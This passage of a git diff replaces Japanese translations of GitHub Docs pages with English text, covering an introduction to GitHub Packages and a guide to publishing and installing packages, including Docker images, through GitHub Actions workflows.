'*' ghae: '*' ghec: '*' -shortTitle: はじめに +shortTitle: Introduction --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## {% data variables.product.prodname_registry %} について +## About {% data variables.product.prodname_registry %} -{% data variables.product.prodname_registry %}はパッケージホスティングサービスで、{% data variables.product.prodname_dotcom %}と完全に統合されています。 {% data variables.product.prodname_registry %}は、ソースコードとパッケージを一カ所にまとめ、統合された権限管理{% ifversion not ghae %}と支払い{% endif %}を提供し、{% data variables.product.product_name %}上でのソフトウェア開発を一元化できるようにします。 +{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion not ghae %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}. You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions. -{% data variables.product.prodname_registry %}は、nmp、RubyGems、Apache Maven、Gradle、Docker、NuGetといった、広く使われているパッケージマネージャーに対する様々なパッケージレジストリを提供しています。 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}の{% data variables.product.prodname_container_registry %}はコンテナに特化しており、DockerとOCIイメージをサポートします。{% endif %} {% data variables.product.prodname_registry %}がサポートする様々なパッケージレジストリに関する詳しい情報については「[{% data variables.product.prodname_registry %}レジストリの利用](/packages/working-with-a-github-packages-registry)」を参照してください。 +{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." {% ifversion fpt or ghec %} -![コンテナレジストリ、RubyGems、npm、Apache Maven、NuGet、Gradle のパッケージサポートを示す図](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) +![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) {% else %} -![Dockerレジストリ、RubyGems、npm、Apache Maven、Gradle、Nuget、Dockerに対するパッケージサポートを示す図](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) +![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) {% endif %} -{% data variables.product.product_name %}では、ライセンスのようなメタデータやパッケージのREADMEを表示したり、統計をダウンロードしたり、バージョン履歴を見たりできます。 詳しい情報については「[パッケージの表示](/packages/manage-packages/viewing-packages)」を参照してください。 +You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)." -### パッケージの権限と可視性の概要 +### Overview of package permissions and visibility -| | | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | -| 権限 | | -| {% ifversion fpt or ghec %}パッケージの権限は、パッケージがホストされているリポジトリから継承したり、{% data variables.product.prodname_container_registry %}中のパッケージであれば特定のユーザあるいはOrganizationアカウントに対して定義したりできます。 詳しい情報については「[パッケージのアクセス制御と可視性の設定](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)」を参照してください。 {% else %}それぞれのパッケージは、ホストされているリポジトリの権限を継承します。

                    たとえば、リポジトリの読み取り権限を持つ人であれば、プロジェクトに依存関係としてパッケージをインストールでき、書き込み権限を持つ人であれば、新しいパッケージバージョンを公開できます。{% endif %} | | -| | | -| 可視性 | {% data reusables.package_registry.public-or-private-packages %} +| | | +|--------------------|--------------------| +| Permissions | {% ifversion fpt or ghec %}The permissions for a package are either inherited from the repository where the package is hosted or, for packages in the {% data variables.product.prodname_container_registry %}, they can be defined for specific user or organization accounts. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted.

                    For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} | +| Visibility | {% data reusables.package_registry.public-or-private-packages %} | -詳しい情報については「[{% data variables.product.prodname_registry %}の権限について](/packages/learn-github-packages/about-permissions-for-github-packages)」を参照してください。 +For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." {% ifversion fpt or ghec %} -## {% data variables.product.prodname_registry %}の支払いについて +## About billing for {% data variables.product.prodname_registry %} -{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} 詳しい情報については「[{% data variables.product.prodname_registry %}の支払いについて](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)」を参照してください。 +{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." {% endif %} -## サポートされているクライアントとフォーマット +## Supported clients and formats -{% data variables.product.prodname_registry %}は、パッケージのバージョンの公開とインストールに、すでにおなじみのネイティブのパッケージツールコマンドを使います。 -### パッケージレジストリのサポート +{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. +### Support for package registries -| 言語 | 説明 | パッケージフォーマット | パッケージクライアント | -| ---------- | ----------------------------- | ------------------------------------- | ------------ | -| JavaScript | Nodeのパッケージマネージャー | `package.json` | `npm` | -| Ruby | RubyGemsパッケージマネージャー | `Gemfile` | `gem` | -| Java | Apache Mavenのプロジェクト管理及び包括的ツール | `pom.xml` | `mvn` | -| Java | Java用のGradleビルド自動化ツール | `build.gradle` または `build.gradle.kts` | `gradle` | -| .NET | .NET用のNuGetパッケージ管理 | `nupkg` | `dotnet` CLI | -| なし | Dockerコンテナ管理プラットフォーム | `Dockerfile` | `Docker` | +| Language | Description | Package format | Package client | +| --- | --- | --- | --- | +| JavaScript | Node package manager | `package.json` | `npm` | +| Ruby | RubyGems package manager | `Gemfile` | `gem` | +| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | +| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | +| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | +| N/A | Docker container management | `Dockerfile` | `Docker` | {% ifversion ghes %} {% note %} -**注釈:** Subdomain Isolation が無効化されている場合、Docker はサポートされません。 +**Note:** Docker is not supported when subdomain isolation is disabled. {% endnote %} -Subdomain Isolation の詳しい情報については、「[Subdomain Isolation を有効化する](/enterprise/admin/configuration/enabling-subdomain-isolation)」を参照してください。 +For more information about subdomain isolation, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." {% endif %} -{% data variables.product.prodname_registry %}と使うためのパッケージクライアントの設定に関する詳しい情報については「[{% data variables.product.prodname_registry %}レジストリの利用](/packages/working-with-a-github-packages-registry)」を参照してください。 +For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." {% ifversion fpt or ghec %} -Dockerと{% data variables.product.prodname_container_registry %}に関する詳しい情報については「[コンテナレジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)」を参照してください。 +For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% endif %} -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -## パッケージの管理 +## Managing packages {% ifversion fpt or ghec %} -You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} user interface or using the REST API. 詳しい情報については、「[{% data variables.product.prodname_registry %} API](/rest/reference/packages)」を参照してください。 +You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} user interface or using the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." {% endif %} {% ifversion ghes > 3.0 %} -{% data variables.product.product_name %}のユーザインターフェースでは、プライベートあるいはパブリックパッケージを削除できます。 また、repoスコープのパッケージでは、GraphQLを使用してプライベートパッケージのバージョンを削除できます。 +You can delete a private or public package in the {% data variables.product.product_name %} user interface. Or for repo-scoped packages, you can delete a version of a private package using GraphQL. {% endif %} {% ifversion ghes < 3.1 %} -プライベートパッケージのバージョンは、{% data variables.product.product_name %}上で、またはGraphQL APIを使って削除できます。 +You can delete a version of a private package in the {% data variables.product.product_name %} user interface or using the GraphQL API. {% endif %} {% ifversion ghae %} -パッケージのバージョンは、{% data variables.product.product_name %}上で、またはGraphQL APIを使って削除できます。 +You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API. {% endif %} -GraphQL APIを使ってプライベートパッケージに対するクエリや削除を行う場合、{% data variables.product.prodname_registry %}の認証に使うのと同じトークンを使わなければなりません。 詳しい情報については、 「{% ifversion fpt or ghes > 3.0 or ghec %}[パッケージを削除および復元する](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[パッケージを削除する](/packages/learn-github-packages/deleting-a-package){% endif %}」および「"[GraphQLでの呼び出しの作成]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)」を参照してください。 +When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)." -webhookを設定して、パッケージの公開や更新といったパッケージ関連のイベントにサブスクライブできます。 詳しい情報については、「[`package` webhookイベント](/webhooks/event-payloads/#package)」を参照してください。 +You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)." -## サポートへの連絡 +## Contacting support {% ifversion fpt or ghec %} -{% data variables.product.prodname_registry %}についてのフィードバックあるいは機能リクエストがある場合は、[{% data variables.product.prodname_registry %}のフィードバックフォーム](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages)を利用してください。 +If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use the [feedback form for {% data variables.product.prodname_registry %}](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages). -[連絡フォーム](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages)を使い、{% data variables.product.prodname_registry %}について{% data variables.contact.github_support %}に連絡してください。 +Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if: -* ドキュメンテーションに反する何らかの体験をした時 -* 漠然とした、あるいは不明確なエラーを体験した時 -* GDPR違反、APIキー、個人を識別する情報といったセンシティブなデータを含むパッケージを公開した時 +* You experience anything that contradicts the documentation +* You encounter vague or unclear errors +* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information {% else %} -{% data variables.product.prodname_registry %}のサポートが必要な場合は、サイト管理者に連絡してください。 +If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators. {% endif %} diff --git a/translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md index 36deae5254..aded45e897 100644 --- a/translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md +++ b/translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: GitHub Actionsでのパッケージの公開とインストール -intro: '{% data variables.product.prodname_actions %}でのワークフローを、自動的にパッケージを{% data variables.product.prodname_registry %}に公開もしくは{% data variables.product.prodname_registry %}からインストールするように設定できます。' +title: Publishing and installing a package with GitHub Actions +intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions @@ -11,80 +11,80 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Actionsでの公開とインストール +shortTitle: Publish & install with Actions --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.actions.ae-beta %} -## {% data variables.product.prodname_actions %}との{% data variables.product.prodname_registry %}について +## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} -{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} 詳しい情報については「[{% data variables.product.prodname_actions %}について](/github/automating-your-workflow-with-github-actions/about-github-actions)」を参照してください。 +{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)." -ワークフローの一部としてパッケージの公開やインストールを行うことで、リポジトリのCI及びCDの機能を拡張できます。 +You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow. {% ifversion fpt or ghec %} -### {% data variables.product.prodname_container_registry %}での認証 +### Authenticating to the {% data variables.product.prodname_container_registry %} {% data reusables.package_registry.authenticate_with_pat_for_container_registry %} {% endif %} -### {% data variables.product.prodname_dotcom %} 上のパッケージレジストリを認証する +### Authenticating to package registries on {% data variables.product.prodname_dotcom %} -{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}これは、ワークフローが実行されるリポジトリ内のパッケージに対する読み取り及び書き込み権限を持っています。 {% endif %}フォークでは、 `GITHUB_TOKEN` には親リポジトリの読み取りアクセス権が付与されます。 詳しい情報については「[GITHUB_TOKENでの認証](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)」を参照してください。 +{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." -{% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %}コンテキストを使って、ワークフロー中でこの`GITHUB_TOKEN`を参照できます。 詳しい情報については「[GITHUB_TOKENでの認証](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)」を参照してください。 +You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." -## リポジトリが所有するパッケージに対する権限とパッケージアクセスについて +## About permissions and package access for repository-owned packages {% note %} -**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Gradle、そして`docker.pkg.github.com`というパッケージの名前空間を使うDockerパッケージ{% endif %}が含まれます。 +**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`.{% endif %} {% endnote %} -GitHub Actionsを有効化すると、GitHubはリポジトリにGitHub Appをインストールします。 `GITHUB_TOKEN`シークレットは、GitHub Appインストールアクセストークンです。 このインストールアクセストークンは、リポジトリにインストールされたGitHub Appの代わりに認証を受けるために使うことができます。 このトークンの権限は、ワークフローを含むリポジトリに限定されます。 詳しい情報については「[GITHUB_TOKENの権限](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)」を参照してください。 +When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)." -{% data variables.product.prodname_registry %}を使用すると、{% data variables.product.prodname_actions %}ワークフローで利用できる`GITHUB_TOKEN`を通じてパッケージをプッシュしたりプルしたいできます。 +{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow. {% ifversion fpt or ghec %} -## {% data variables.product.prodname_container_registry %}の権限とパッケージアクセスについて +## About permissions and package access for {% data variables.product.prodname_container_registry %} -{% data variables.product.prodname_container_registry %}(`ghcr.io`)を使うと、ユーザはOrganizationレベルの自立リソースとしてコンテナを作成し、管理できます。 Organizationもしくは個人ユーザアカウントがコンテナを所有でき、それぞれのコンテナへのアクセスはリポジトリ権限とは独立してカスタマイズできます。 +The {% data variables.product.prodname_container_registry %} (`ghcr.io`) allows users to create and administer containers as free-standing resources at the organization level. Containers can be owned by an organization or personal user account and you can customize access to each of your containers separately from repository permissions. -{% data variables.product.prodname_container_registry %}にアクセスするすべてのワークフローは、個人アクセストークンの代わりに`GITHUB_TOKEN`を使うべきです。 セキュリティのベストプラクティスに関する詳しい情報については「[GitHub Actionsのセキュリティ強化](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)」を参照してください。 +All workflows accessing the {% data variables.product.prodname_container_registry %} should use the `GITHUB_TOKEN` instead of a personal access token. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." -## ワークフローを通じて変更されたコンテナに対するデフォルトの権限及びアクセス設定 +## Default permissions and access settings for containers modified through workflows -ワークフローを通じてコンテナを作成、インストール、変更、削除する場合、管理者がワークフローに確実にアクセスできるようにするために使われるデフォルトの権限及びアクセス設定があります。 これらのアクセス設定も調整できます。 +When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well. -たとえばデフォルトでは、ワークフローが`GITHUB_TOKEN`を使ってコンテナを作成するなら: -- コンテナはワークフローが実行されたリポジトリの可視性と権限モデルを継承します。 -- ワークフローが実行されたリポジトリの管理者は、コンテナが作成されるとそのコンテナの管理者になります。 +For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then: +- The container inherits the visibility and permissions model of the repository where the workflow is run. +- Repository admins where the workflow is run become the admins of the container once the container is created. -パッケージを管理するワークフローに対してデフォルトの権限の働き方の例は、もっとあります。 +These are more examples of how default permissions work for workflows that manage packages. -| {% data variables.product.prodname_actions %}ワークフロータスク | デフォルトの権限及びアクセス | -| ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 既存のコンテナのダウンロード | - コンテナがパブリックなら、任意のリポジトリで実行された任意のワークフローがコンテナをダウンロードできる。
                    - コンテナがインターナルなら、Enterpriseアカウントが所有する任意のリポジトリ内で実行されるすべてのワークフローがコンテナをダウンロードできる。 Enterpriseが所有するOrganizationでは、Enterprise内の任意のリポジトリを読み取れる
                    - コンテナがプライベートなら、そのコンテナへの読み取り権限を与えられているリポジトリ内で動作するワークフローのみが、そのコンテナをダウンロードできる。
                    | -| 新しいバージョンの既存のコンテナへのアップロード | - コンテナがプライベート、インターナル、パブリックなら、そのコンテナへの書き込み権限を与えられたリポジトリで動作するワークフローだけが新バージョンをそのコンテナにアップロードできる。 | -| コンテナもしくはコンテナのバージョンの削除 | - コンテナがプライベート、インターナル、パブリックなら、削除権限を与えられたリポジトリ内で動作するワークフローのみがコンテナの既存のバージョンを削除できる。 | +| {% data variables.product.prodname_actions %} workflow task | Default permissions and access | +|----|----| +| Download an existing container | - If the container is public, any workflow running in any repository can download the container.
                    - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise
                    - If the container is private, only workflows running in repositories that are given read permission on that container can download the container.
                    +| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container. +| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container. -コンテナへのアクセスをもっと詳細に調整したり、デフォルトの権限動作の一部を調整したりすることもできます。 詳しい情報については「[パッケージのアクセス制御と可視性の設定](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)」を参照してください。 +You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% endif %} -## アクションを使ったパッケージの公開 +## Publishing a package using an action -継続的インテグレーション (CI) フローの一環として、{% data variables.product.prodname_actions %}を使用してパッケージを自動的に公開できます。 この継続的デプロイメント (CD) に対するアプローチにより、コードが品質基準を満たしている場合に新しいパッケージの作成を自動化できます。 たとえば、開発者が特定のブランチにプッシュするたびに CI テストを実行するワークフローを作成してはいかがでしょう。 テストにパスすると、このワークフローは新しいパッケージバージョンを{% data variables.product.prodname_registry %}に公開できます。 +You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}. {% data reusables.package_registry.actions-configuration %} The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}. -リポジトリに新しいワークフローファイル (`.github/workflows/deploy-image.yml` など) を作成し、以下のYAMLを追加します。 +Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML: {% ifversion fpt or ghec %} {% data reusables.package_registry.publish-docker-image %} @@ -161,7 +161,7 @@ jobs: ``` {% endif %} -上記に関連する設定については、次の表で説明しています。 ワークフロー中の各要素に関する詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions)」を参照してください。 +The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." @@ -175,7 +175,7 @@ on: {% endraw %} @@ -192,7 +192,7 @@ env: {% endraw %} @@ -207,7 +207,7 @@ jobs: {% endraw %} @@ -233,7 +233,7 @@ run-npm-build: {% endraw %} @@ -268,7 +268,7 @@ run-npm-test: {% endraw %} @@ -283,7 +283,7 @@ build-and-push-image: {% endraw %} @@ -301,7 +301,7 @@ permissions: {% endraw %} {% endif %} @@ -321,7 +321,7 @@ permissions: {% endraw %} @@ -338,7 +338,7 @@ permissions: {% endraw %} @@ -357,7 +357,7 @@ permissions: {% endraw %} {% endif %} @@ -371,7 +371,7 @@ permissions: {% endraw %} @@ -384,7 +384,7 @@ uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc {% endraw %} @@ -397,7 +397,7 @@ with: {% endraw %} @@ -411,7 +411,7 @@ context: . {% endraw %} {% endif %} @@ -425,7 +425,7 @@ push: true {% endraw %} @@ -440,7 +440,7 @@ labels: ${{ steps.meta.outputs.labels }} {% endraw %} @@ -464,70 +464,73 @@ docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }} {% endif %} {% endif %}
                    - releaseというブランチに変更をプッシュするたびに、Create and publish a Docker imageワークフローを実行するよう設定します。 + Configures the Create and publish a Docker image workflow to run every time a change is pushed to the branch called release.
                    - ワークフローに2つのカスタムの環境変数を定義します。 これらは{% data variables.product.prodname_container_registry %}ドメイン、そしてこのワークフローがビルドするDockerイメージの名前として使われます。 + Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds.
                    - このワークフロー中には1つのジョブがあります。 これは、Ubuntuの利用可能な最新バージョンで実行されるよう設定されています。 + There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
                    - このジョブではNPMをインストールし、それをアプリケーションのビルドに使用します。 + This job installs NPM and uses it to build the app.
                    - このジョブではnpm testを使用してコードをテストします。 needs: run-npm-buildコマンドにより、このジョブはrun-npm-buildジョブに依存するようになります。 + This job uses npm test to test the code. The needs: run-npm-build command makes this job dependent on the run-npm-build job.
                    - このジョブはパッケージを公開します。 needs: run-npm-testコマンドにより、このジョブはrun-npm-testジョブに依存するようになります。 + This job publishes the package. The needs: run-npm-test command makes this job dependent on the run-npm-test job.
                    - GITHUB_TOKENに付与されている権限をこのジョブ中のアクションに設定します。 + Sets the permissions granted to the GITHUB_TOKEN for the actions in this job.
                    - パッケージを公開するアカウントとパスワードを使ってレジストリにログインするLog in to the {% data variables.product.prodname_container_registry %}というステップを作成します。 いったん公開されると、パッケージはここで定めたアカウントが所有することになります。 + Creates a step called Log in to the {% data variables.product.prodname_container_registry %}, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
                    - このステップはdocker/metadata-actionを使って、指定されたイメージに適用されるタグとラベルを抽出します。 id "meta"は、このステップの出力が以降のステップから参照できるようにします。 imagesの値は、タグとラベルのためのベース名を提供します。 + This step uses docker/metadata-action to extract tags and labels that will be applied to the specified image. The id "meta" allows the output of this step to be referenced in a subsequent step. The images value provides the base name for the tags and labels.
                    - パッケージを公開するアカウントとパスワードを使ってレジストリにログインするLog in to GitHub Docker Registryという新しいステップを作成します。 いったん公開されると、パッケージはここで定めたアカウントが所有することになります。 + Creates a new step called Log in to GitHub Docker Registry, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
                    - Build and push Docker imageという新しいステップを作成します。 このステップは、build-and-push-imageジョブの一部として実行されます。 + Creates a new step called Build and push Docker image. This step runs as part of the build-and-push-image job.
                    - Dockerのbuild-push-actionアクションを使用して、リポジトリのDockerfileを元にイメージをビルドします。 ビルドが成功すると、イメージを{% data variables.product.prodname_registry %}にプッシュします。 + Uses the Docker build-push-action action to build the image, based on your repository's Dockerfile. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}.
                    - 必要なパラメータをbuild-push-actionアクションに送信します。 これらは以降の行で定義されます。 + Sends the required parameters to the build-push-action action. These are defined in the subsequent lines.
                    - ビルドのコンテキストを、指定されたパス内にあるファイル群として定義します。 詳しい情報については「使用法」を参照してください。 + Defines the build's context as the set of files located in the specified path. For more information, see "Usage."
                    - ビルドに成功したら、このイメージをレジストリにプッシュします。 + Pushes this image to the registry if it is built successfully.
                    - "meta"ステップで抽出されたタグとラベルを追加します。 + Adds the tags and labels extracted in the "meta" step.
                    - ワークフローをトリガーしたコミットのSHAでイメージにタグ付けします。 + Tags the image with the SHA of the commit that triggered the workflow.
                    -この新しいワークフローは、リポジトリの`release`という名前のブランチに変更をプッシュするたびに自動的に実行されます。 [**Actions**] タブで、この進捗を表示できます。 +This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab. -ワークフローが完成すると、その数分後にリポジトリで新しいパッケージが表示されます。 使用可能なパッケージを見つけるには、「[リポジトリのパッケージを表示する](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)」を参照してください。 +A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)." -## アクションを使ったパッケージのインストール +## Installing a package using an action -{% data variables.product.prodname_actions %}を使い、CIフローの一部としてパッケージをインストールできます。 たとえば、開発者がコードをプルリクエストにプッシュすると、いつでもワークフローが{% data variables.product.prodname_registry %}によってホストされているパッケージをダウンロードしてインストールすることで、依存関係を解決するようにワークフローを設定できます。 そして、ワークフローはその依存関係を必要とするCIテストを実行できます。 +You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies. -Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt 